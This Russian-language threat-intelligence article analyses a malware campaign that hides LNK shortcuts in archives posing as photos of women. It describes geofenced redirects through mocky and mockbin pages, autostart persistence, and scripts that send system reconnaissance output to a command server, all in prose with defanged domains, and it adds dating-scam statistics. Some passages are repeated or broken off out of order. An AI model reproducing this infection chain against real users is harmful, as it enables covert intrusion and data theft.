В зависимости от типа собираемой информации и необходимых характеристик жертв, каждый случай в рамках исследуемой кампании можно классифицировать как один из 4 сценариев. Пара из этих сценариев подразумевает сокрытие вредоносного ПО под видом фотографий девушек. Вспомним именно эти случаи.
Пользователю в руки попадает архив, внутри которого располагается файл ярлыка LNK. Попытка открыть ярлык приводит к запуску браузера с аргументом командной строки, представляющем из себя JavaScript код, который открывает сайт OnlyFans и перенаправляет через
Ярлык
location.href на подконтрольный атакующим инстанс run[.]mocky[.]io приложения Mocky, позволяющего генерировать произвольные ответы для лёгкого моделирования поведения бекенда в ходе разработки. Вредоносная страница заключает в себе JavaScript код, проверяющий, что операционная система пользовател я – Windows, а страна, определяемая IPAPI, геолокационным API, – Австралия, и при удовлетворении условий скачивает вредоносный LNK-файл m8 из blob, а также перенаправляет на некоторый легитимный сайт. Скачанный файл помещается в качестве ярлыка в каталог для автоматического запуска со стартом системы.Ярлык
m8.lnk скачивает с сервиса атакующих m8.cmd и располагает его рядом с собой. Выполнение m8.cmd означает:- запуск команд
ipconfig,systeminfo,tasklist - отправку вывода команд в формате Base64 на управляющий сервер
Другой сценарий во многом совпадает с предыдущим: атакуемые пользователи заражают устройства получив архив с заветными фотографиями и открыв хранящийся внутри ярлык, который открывает браузер и перенаправляет на
При удовлетворении условий на устройство скачивается другой архив, внутри которого можно наблюдать настоящие фотографии славянских девушек и единичный batch script файл. Исполнение последнего приводит к записи вредоносного VBScript, последующему открытию веб-сайта с профилями девушек в сервисах подписок на контент, скачиванию и запуску другого CMD файла с сайта
Финальный исполняемый файл
run[.]mocky[.]io. Теперь же перед выполнением вредоносных действий они проверяют, что страна пользователя – Польша.При удовлетворении условий на устройство скачивается другой архив, внутри которого можно наблюдать настоящие фотографии славянских девушек и единичный batch script файл. Исполнение последнего приводит к записи вредоносного VBScript, последующему открытию веб-сайта с профилями девушек в сервисах подписок на контент, скачиванию и запуску другого CMD файла с сайта
mockbin[.]org – другого сервиса, подобного Mocky.Финальный исполняемый файл
eucv8o.cmd:- выполняет команду
whoami - отправляет вывод команды в формате Base64 на управляющий сервер
# Пища для размышлений
С каждым годом число киберпреступлений, которые играют на тянущем чувстве одиночества, эксплуатируют низменные человеческие потребности и берут начало там, где человек ищет избавления, лишь растёт – об этом заявляет каждое исследование связанной статистики.
Желание сблизиться с кем-то в помощью сервиса для знакомств, желание пообщаться с девушкой в её любимом чате, желание просмотреть её фотографии, которые она для тебя сделала – всё это более не безопасно и может привести к неожиданным последствиям. Осторожность приводит к подозрениям, а подозрения подрывают доверие, без которого нельзя выстроить отношения. Именно здесь, в романтической сфере, стирается граница между незнакомцами и потенциальными половинками, между опасным и любопытным, между попыткой уберечь себя и попыткой выстроить стену – и это страшно. В данном вопросе каждый гораздо более уязвим, чем обычно, и атакующие активно будут продолжать этим пользоваться без зазрения совести.
The last quarter of last year was very interesting for dating scams, with several large campaigns witnessed through our data. In Q1/2024, we saw a significant increase since the middle of February.
Источник: Avast
Источник: Avast
<...> they noted a staggering 43% increase in attacks impersonating well-established dating apps including Tinder and Hinge between January 1, 2024, until February 5, 2024, compared to 2023.
Источник: Egress Threat Intelligence
Источник: Egress Threat Intelligence
С 12 по 14 февраля по схеме Fake Date скамеры из 5 гр уппировок заработали 2 275 870 руб., что в 2 раза больше, чем за аналогичный период в прошлом году, посчитали аналитики F.A.C.C.T. Для сравнения, в 2023 году мошенники из 7 скам-групп смогли украсть у жертв 1,1 млн руб.
Источник: F.A.C.C.T.
Источник: F.A.C.C.T.
Желание сблизиться с кем-то в помощью сервиса для знакомств, желание пообщаться с девушкой в её любимом чате, желание просмотреть её фотографии, которые она для тебя сделала – всё это более не безопасно и может привести к неожиданным последствиям. Осторожность приводит к подозрениям, а подозрения подрывают доверие, без которого нельзя выстроить отношения. Именно здесь, в романтической сфере, стирается граница между незнакомцами и потенциальными половинками, между опасным и любопытным, между попыткой уберечь себя и попыткой выстроить стену – и это страшно. В данном вопросе каждый гораздо более уязвим, чем обычно, и атакующие активно будут продолжать этим пользоваться без зазрения совести.



